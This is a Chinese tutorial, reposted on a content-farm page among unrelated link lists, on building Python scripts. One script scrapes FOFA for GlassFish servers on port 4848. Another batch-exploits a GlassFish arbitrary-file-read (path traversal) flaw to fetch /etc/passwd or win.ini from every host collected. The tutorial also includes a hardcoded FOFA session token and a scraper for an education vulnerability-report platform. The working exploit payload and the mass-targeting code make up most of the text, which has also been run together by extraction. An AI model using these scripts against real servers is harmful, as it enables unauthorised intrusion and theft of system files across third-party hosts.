当前位置: 首页 > news >正文

建设银行互联网网站外国网站后台

建设银行互联网网站,外国网站后台,网站分析报告范文,软件开发公司职位数据来源 学习内容和目的#xff1a; ---Request 爬虫技术#xff0c;lxml 数据提取#xff0c;异常护理#xff0c;Fofa 等使用说明---掌握利用公开或 0day 漏洞进行批量化的收集及验证脚本开发Python 开发-某漏洞 POC 验证批量脚本---glassfish存在任意文件读取在默认4…数据来源 学习内容和目的 ---Request 爬虫技术lxml 数据提取异常护理Fofa 等使用说明---掌握利用公开或 0day 漏洞进行批量化的收集及验证脚本开发Python 开发-某漏洞 POC 验证批量脚本---glassfish存在任意文件读取在默认48484端口漏洞验证的poc为: 案例一Python 开发-Fofa 搜索结果提取采集脚本 应用服务器glassfish任意文件读取漏洞 漏洞发现 http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd etc/passwd 是linux系统 如果是Windows就改成/windows/win.ini然后在fofa上搜索相应的关键字中间件端口国家网络空间测绘网络空间安全搜索引擎网络空间搜索引擎安全态势感知 - FOFA网络空间测绘系统 glassfish port4848 # glassfish 查找的关键字 查找对应“4848”端口的资产 1、检测网站是否存在glassfish任意文件读取漏洞 创建一个 Glassfish_poc.py 文件写入以下代码 import requests # 安装pip install requests1、检测网站是否存在glassfish任意文件读取漏洞urlhttp://200.182.8.121:4848/ # 要检测的网站ip payload_linux/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # linux系统 payload_windows/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini # windows系统# data_linux requests.get(urlpayload_linux) # 使用requests模块的get方法请求网站获取网站源代码 # data_windows requests.get(urlpayload_windows) # 获取请求后的返回源代码 # print(data_linux.content.decode(utf-8)) # content 查看返回的结果decode(utf-8) 使用utf-8的编码格式查看 # print(data_windows.content.decode(utf-8))data_linux requests.get(urlpayload_linux).status_code # 获取请求后的返回状态码 data_windows requests.get(urlpayload_windows).status_code # 获取请求后的返回状态码 print(data_linux) print(data_windows)if data_linux 200 or data_windows 200: # 判断状态码200漏洞存在否则不存在print(yes) else:print(no) 2、实现这个漏洞批量化 1首先使用Fofa检查一下使用了glassfish这个服务器的网站 选择分页后的URL https://fofa.info/result?qbase64ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3Dpage2page_size10huo 2获取Fofa搜索后的源代码HTML代码 在原来的文件中添加就好 import requests # requests模块是用来发送网络请求的 安装pip install requests import base64 1、检测网站是否存在glassfish任意文件读取漏洞urlhttp://200.182.8.121:4848/ # 要检测的网站ip payload_linux/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # linux系统 payload_windows/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini # windows系统# data_linux requests.get(urlpayload_linux) # 获取请求后的返回源代码 # data_windows requests.get(urlpayload_windows) # 获取请求后的返回源代码 # print(data_linux.content.decode(utf-8)) # content 查看返回的结果decode(utf-8) 使用utf-8的编码格式查看 # print(data_windows.content.decode(utf-8))data_linux requests.get(urlpayload_linux).status_code # 获取请求后的返回状态码 data_windows requests.get(urlpayload_windows).status_code # 获取请求后的返回状态码 print(data_linux) print(data_windows)if data_linux 200 or data_windows 200: # 判断状态码200漏洞存在否则不存在print(yes) else:print(no)2、如何实现这个漏洞批量化1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程# 第1页 search_data glassfish port4848 countryCN # 搜索的关键字 country 查询的国家 CN 中国 url https://fofa.info/result?qbase64 # fofa网站的url ?qbase64 请求参数需要base64字符串格式的参数 search_data_bs str(base64.b64encode(search_data.encode(utf-8)), utf-8) # 把我们的搜索关键字加密成base64字符串 urls url search_data_bs # 拼接网站url result requests.get(urls).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据 etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档 print(urls) print(result.decode(utf-8)) ​  3使用lxml模块中的etree方法提取我们需要的数据网站的ip 首先需要明确我们需要的数据是啥对我们最有价值的数据就是使用了glassfish这个服务器搭建的网站的IP/域名 然后要找到IP/域名在源码中的那个位置方法在浏览器中先使用fofa搜索网站 - 打开开发者工具(F12) -使用开发者工具栏中的箭头点击我们要查看的IP/域名 ​ ​   在原来的文件中继续更改  import requests # requests模块是用来发送网络请求的 安装pip install requests import base64 from lxml import html # lxml 提取HTML数据安装pip install lxml1、检测网站是否存在glassfish任意文件读取漏洞urlhttp://200.182.8.121:4848/ # 要检测的网站ip payload_linux/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # linux系统 payload_windows/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini # windows系统# data_linux requests.get(urlpayload_linux) # 获取请求后的返回源代码 # data_windows requests.get(urlpayload_windows) # 获取请求后的返回源代码 # print(data_linux.content.decode(utf-8)) # content 查看返回的结果decode(utf-8) 使用utf-8的编码格式查看 # print(data_windows.content.decode(utf-8))data_linux requests.get(urlpayload_linux).status_code # 获取请求后的返回状态码 data_windows requests.get(urlpayload_windows).status_code # 获取请求后的返回状态码 print(data_linux) print(data_windows)if data_linux 200 or data_windows 200: # 判断状态码200漏洞存在否则不存在print(yes) else:print(no)2、如何实现这个漏洞批量化1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程# 第1页 countryCN search_data glassfish port4848 # 搜索的关键字 country 查询的国家 CN 中国 url https://fofa.info/result?qbase64 # fofa网站的url ?qbase64 请求参数需要base64字符串格式的参数 search_data_bs str(base64.b64encode(search_data.encode(utf-8)), utf-8) # 把我们的搜索关键字加密成base64字符串 urls url search_data_bs # 拼接网站url result requests.get(urls).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据 etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档 print(urls) # print(result.decode(utf-8)) # 查看返回结果 soup etree.HTML(result) # result.decode(utf-8) 请求返回的HTML代码 ip_data soup.xpath(//span[classhsxa-host]/a[target_blank]/href) # 公式//标签名称[属性属性的值] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为target_blank的href属性出来就是一个筛选数据的过程筛选符合条件的 print(ip_data) ​  最后把数据存储到本地的文件中 改下代码 # set() 将容器转换为集合类型因为集合类型不会存储重复的数据给ip去下重 ipdata \n.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接\n也可以换成其他字符不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入 print(ipdata,type(ipdata))with open(rip.txt,a) as f: # open()打开函数 a以读写模式打开如果文件不存在就创建以存在就追加f.write(ipdata) # write() 方法写入数据f.close() # close() 关闭保存文件​  4实现翻页获取数据 现在只是获取了第一页的数据只有10条我们这里实现一个翻页但是这个网站需要我们登录之后才能进行翻页所以我们先登录一下,然后选择翻页查看网站url路径的变化如果url没有变化就要打开F12或者使用抓包软件进行查看因为如果没有变化就说明这个翻页的请求不是get可能是post或者其他 ​ 知道了网站是通过page这个参数控制页数后我们也改下自己的代码如果要改一页的展示数量也可以加上page_size 获取登录后的cookie用来验证身份的 ​ 改下代码 import requests # requests模块是用来发送网络请求的 安装pip install requests import base64 from lxml import html # lxml 提取HTML数据安装pip install lxml import time1、检测网站是否存在glassfish任意文件读取漏洞urlhttp://200.182.8.121:4848/ # 要检测的网站ip payload_linux/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd # linux系统 payload_windows/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini # windows系统# data_linux requests.get(urlpayload_linux) # 获取请求后的返回源代码 # data_windows requests.get(urlpayload_windows) # 获取请求后的返回源代码 # print(data_linux.content.decode(utf-8)) # content 查看返回的结果decode(utf-8) 使用utf-8的编码格式查看 # print(data_windows.content.decode(utf-8))data_linux requests.get(urlpayload_linux).status_code # 获取请求后的返回状态码 data_windows requests.get(urlpayload_windows).status_code # 获取请求后的返回状态码 print(data_linux) print(data_windows)if data_linux 200 or data_windows 200: # 判断状态码200漏洞存在否则不存在print(yes) else:print(no)2、如何实现这个漏洞批量化1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程# 循环切换分页 search_data glassfish port4848 # 搜索的关键字 country 查询的国家 CN 中国 url https://fofa.info/result?qbase64 # fofa网站的url ?qbase64 请求参数需要base64字符串格式的参数 search_data_bs str(base64.b64encode(search_data.encode(utf-8)), utf-8) # 把我们的搜索关键字加密成base64字符串 headers { # 请求的头部用于身份验证cookie:fofa_tokeneyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw; } # 这里就是遍历9页数据如果需要更多也可以把数字改大 for yeshu in range(1,10): # range(num1,num2) 创建一个数序列如range(1,10) [1,2,...,9] 不包括num2自身try:# print(yeshu) # 1,2,3,4,5,6,7,8,9urls url search_data_bs page str(yeshu) page_size10 # 拼接网站url,str()将元素转换成字符串page页数, page_size每页展示多少条数据print(f正在提取第{yeshu}页数据)# urls 请求的URL headers 请求头里面包含身份信息result requests.get(urls,headersheaders).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档print(urls)# print(result.decode(utf-8)) # 查看返回结果soup etree.HTML(result) # result.decode(utf-8) 请求返回的HTML代码ip_data soup.xpath(//span[classhsxa-host]/a[target_blank]/href) # 公式//标签名称[属性属性的值] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为target_blank的href属性出来就是一个筛选数据的过程筛选符合条件的# set() 将容器转换为集合类型因为集合类型不会存储重复的数据给ip去下重ipdata \n.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接\n也可以换成其他字符不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入time.sleep(0.5) # time.sleep(0.5) 阻塞0.5秒让程序不要执行太快不然容易报错if ipdata : # 我的fofa账号就是普通的账号没开通会员可以查看上网数据有限所以这里写个判断print(f第{yeshu}页数据提取失败数据为空没有权限)else:print(f第{yeshu}页数据{ipdata})with open(rip.txt,a) as f: # open()打开函数 a以读写模式打开如果文件不存在就创建以存在就追加f.write(ipdata) # write() 方法写入数据f.close() # close() 关闭保存文件except Exception as e:pass ​ 然后如果要检查这些网站的漏洞就把文件内的数据读取出来按照之前的检测步骤就可以批量检测了 5实现批量检测漏洞在同级目录下创建 check_vuln.py  写入如下代码 import requests,timedef poc_check():payload_linux /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwdpayload_windows /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.inifor ip in open(ip.txt): # ip.txt 就是刚才我们通过fofa提取出来的目标网站ipip ip.replace(\n, ) # replace() 方法替换字符串将换行替换为空try:print(f正在检测{ip})# requests模块是用来发送网络请求的 .get() 发送get请求 status_code获取请求之后的状态码200正常发送说明存在漏洞vuln_code_l requests.get(ip payload_linux).status_code # 发送检测linux系统的请求因为我们现在也不知道目标是什么操作系统所以都发送试试vuln_code_w requests.get(ip payload_windows).status_code # 发送检测windows系统的请求print(vuln_code_l,vuln_code_w)if vuln_code_l 200 or vuln_code_w 200: # 判断当前网站是否存在漏洞# print(poc_data.content.decode(utf-8))print(-----------)with open(rvuln.txt,a) as f: # 将存在漏洞的网站url存入本地文件中f.write(ip\n) # write()文件写入方法\n 换行让一个url占一行f.close()time.sleep(0.5)except Exception as e:print(e)if __name__ __main__:poc_check() 6漏洞利用这个漏洞就是一个任意文件读取的漏洞我们只需要访问网站ip 攻击的url要查看的文件路径 访问网站的url/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/要查看的文件 7代码优化  将Glassfish_poc.py文件的代码改下过程将两个文件合成了一个支持从外部传入数据调用程序 import requests # requests模块是用来发送网络请求的 安装pip install requests import base64 from lxml import html # lxml 提取HTML数据安装pip install lxml import time import sys 1、批量收集使用了应用服务器glassfish的网站ip/域名1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程def fofa_search(search_data:str,page:int,cookie:str):批量收集使用了应用服务器glassfish的网站IP的批量化函数:param search_data: 接收fofa的搜索关键字:param page: 接收fofa的数据读取页数:param cookie: 接收fofa的登录后的cookie用于身份验证:return: Nonourl https://fofa.info/result?qbase64 # fofa网站的url ?qbase64 请求参数需要base64字符串格式的参数search_data_bs str(base64.b64encode(search_data.encode(utf-8)), utf-8) # 把我们的搜索关键字加密成base64字符串if cookie : # 如果没有传入cookie就使用默认的cookie fofa_tokeneyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;headers { # 请求的头部用于身份验证cookie:cookie}# 这里就是遍历9页数据如果需要更多也可以把数字改大for yeshu in range(1,page1): # range(num1,num2) 创建一个数序列如range(1,10) [1,2,...,9] 不包括num2自身try:# print(yeshu) # 1,2,3,4,5,6,7,8,9urls url search_data_bs page str(yeshu) page_size10 # 拼接网站url,str()将元素转换成字符串page页数, page_size每页展示多少条数据print(f正在提取第{yeshu}页数据)# urls 请求的URL headers 请求头里面包含身份信息result requests.get(urls,headersheaders).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档print(urls)# print(result.decode(utf-8)) # 查看返回结果soup etree.HTML(result) # result.decode(utf-8) 请求返回的HTML代码ip_data soup.xpath(//span[classhsxa-host]/a[target_blank]/href) # 公式//标签名称[属性属性的值] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为target_blank的href属性出来就是一个筛选数据的过程筛选符合条件的# set() 将容器转换为集合类型因为集合类型不会存储重复的数据给ip去下重ipdata \n.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接\n也可以换成其他字符不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入time.sleep(0.5) # time.sleep(0.5) 阻塞0.5秒让程序不要执行太快不然容易报错if ipdata : # 我的fofa账号就是普通的账号没开通会员可以查看上网数据有限所以这里写个判断print(f第{yeshu}页数据提取失败数据为空没有权限)else:print(f第{yeshu}页数据{ipdata})# with open 语法 会在文件操作完成后自动关闭文件就相当自动执行 f.close() 方法with open(rip.txt,a) as f: # open()打开函数 a以读写模式打开如果文件不存在就创建以存在就追加f.write(ipdata) # write() 方法写入数据except Exception as e:pass 2、批量检测网站是否存在应用服务器glassfish任意文件读取漏洞def check_vuln():批量检测ip.txt文件中网站是否存在漏洞收集起来放入vuln.txt中:return: Nonepayload_linux /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwdpayload_windows /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.inifor ip in open(ip.txt): # ip.txt 就是刚才我们通过fofa提取出来的目标网站ipip ip.replace(\n, ) # replace() 方法替换字符串将换行替换为空try:print(f正在检测{ip})# requests模块是用来发送网络请求的 .get() 发送get请求 status_code获取请求之后的状态码200正常发送说明存在漏洞vuln_code_l requests.get(ip payload_linux).status_code # 发送检测linux系统的请求因为我们现在也不知道目标是什么操作系统所以都发送试试vuln_code_w requests.get(ip payload_windows).status_code # 发送检测windows系统的请求print(vuln_code_l, vuln_code_w)if vuln_code_l 200 or vuln_code_w 200: # 判断当前网站是否存在漏洞# print(poc_data.content.decode(utf-8))with open(rvuln.txt, a) as f: # 将存在漏洞的网站url存入本地文件中f.write(ip \n) # write()文件写入方法\n 换行让一个url占一行time.sleep(0.5)except Exception as e:print(e)if __name__ __main__:try:search sys.argv[1] # 接收外部传进来的第一个参数搜索的参数page sys.argv[2] # 接收外部传进来的第二个参数搜索的页数fofa_search(search,int(page)) # 批量收集网站ipexcept Exception as e: # 如果没有在外部传入两参数就会报错search glassfish port4848 countryCN # 搜索的关键字 country 查询的国家 CN 中国page 10fofa_search(search,page) # 手动传入参数check_vuln() # 批量检测网站是否存在漏洞如果配置了python的系统环境变量执行命令的pthon执行程序也可以不写直接写项目路径参数 F:\python项目\python_study\day77\Glassfish_poc.py glassfish 10 案例二、Python 开发-教育 SRC 报告平台信息提取脚本 平台链接漏洞列表 | 教育漏洞报告平台 1收集漏洞信息 import requests from lxml import html# 从教育漏洞报告平台中提取之前网络安全的前辈提交的漏洞报告 etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档 for i in range(1,2):urlhttps://src.sjtu.edu.cn/list/?pagestr(i) # range(num1,num2) 创建一个数序列如range(1,10) [1,2,...,9] 不包括num2自身data requests.get(url).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据# print(data.decode(utf-8)) # 请求返回的HTML代码soup etree.HTML(data)result soup.xpath(//td[classam-text-center]/a/text()) # 提取符合标签为td属性class值为am-text-center这个标签内的a标签text()a标签的值/内容results \n.join(result).split() # join()将指定的元素以\n换行进行拆分在拼接 split()方法不传参数就是清除两边的空格print(results) 2优化代码并把收集到的数据保存到本地文件中 import requests from lxml import html# 从教育漏洞报告平台中提取之前网络安全的前辈提交的漏洞报告 etree html.etree # lxml 库提供了一个 etree 模块该模块专门用来解析 HTML/XML 文档 def src_tiqu(yeshu):for i in range(1,yeshu 1 ):urlhttps://src.sjtu.edu.cn/list/?pagestr(i) # range(num1,num2) 创建一个数序列如range(1,10) [1,2,...,9] 不包括num2自身print(f正在读取第{i}页数据)data requests.get(url).content # 使用requests模块的get方法请求网站获取网站源代码content读取数据# print(data.decode(utf-8)) # 请求返回的HTML代码soup etree.HTML(data)result soup.xpath(//td[classam-text-center]/a/text()) # 提取符合标签为td属性class值为am-text-center这个标签内的a标签text()a标签的值/内容results \n.join(result).split() # join()将指定的元素以\n换行进行拆分在拼接 split()方法不传参数就是清除两边的空格print(results)for edu in results: # 遍历results列表拿到每一项# print(edu)with open(rsrc_edu.txt, a, encodingutf-8) as f: # open()打开函数 with open打开函数与open()的区别就是使用完成后会自动关闭打开的文件 a以读写模式打开如果文件不存在就创建以存在就追加 encoding 指定编码格式f.write(edu \n)if __name__ __main__: # __main__ 就是一个模块的测试变量在这个判断内的代码只会在运行当前模块才会执行在模块外部引入文件进行调用是不会执行的yeshu int(input(您要爬取多少页数据:))src_tiqu(yeshu) 涉及资源 https://fofa.so/ https://src.sjtu.edu.cn/ https://www.secpulse.com/archives/42277.html https://pan.baidu.com/s/13y3U6jX3WUYmnfKnXT8abQ 提取码 xo
http://www.hkea.cn/news/14417744/

相关文章:

  • phpmysql网站vip wordpress
  • 网站有访问量 为什么没有询盘网站开发的技术流程图
  • 南宁庆云网站建设企业信息管理系统的发展历程
  • 网站安全检测怎么关掉怎样做机械租赁的网站
  • 做网站至少多少钱网站建设基础培训
  • html5标准网站建设比较出名的游戏外包公司
  • 秦皇岛做网站优化青岛网站建设eoe
  • 做网站销售有前景徐州社交网站
  • 廊坊网站建设方案最新报价廊坊森德科技有限公司
  • 在网站设计公司上班好吗上海市建设执业资格注册中心网站
  • 外贸网站支付接口泉山区城乡建设局网站
  • 上海企业网站优化公司360建站官网
  • 如何建立一个网站共享模板网站可以自己买空间吗吗
  • 宜昌皓月建设工程有限公司网站网站做关键词首页
  • 网站开发指什么软件公司查名网站
  • 网站开发交流吧用php做网站流程
  • dw做的网站如何上传云服务器用mediawiki做的网站
  • 做ps可以在哪些网站上找素材四川建设安全监督管理局网站
  • 内网建设网站长治房产网站建设
  • 电商网站 支付下载中心软件
  • 宽屏绿色新闻资讯网站织梦模板查企业信息查询平台官网免费
  • thinkphp做网站好吗深圳哪里可以做网站
  • 旅游类网站设计建设世界一流企业
  • 建个企业网站网站建设仿站企业公司
  • 免费海报在线制作网站如何查询一个app的开发信息
  • 抖音代运营公司东营做网站优化哪家好
  • 做网站都可以做什么黑帽seo教程
  • 企业网站手机版模板免费下载网络推广营销公司
  • 取名字的网站 优帮云信游天下网站建设
  • 济南网站建设是什么意思网站推广宜选刺盾云下拉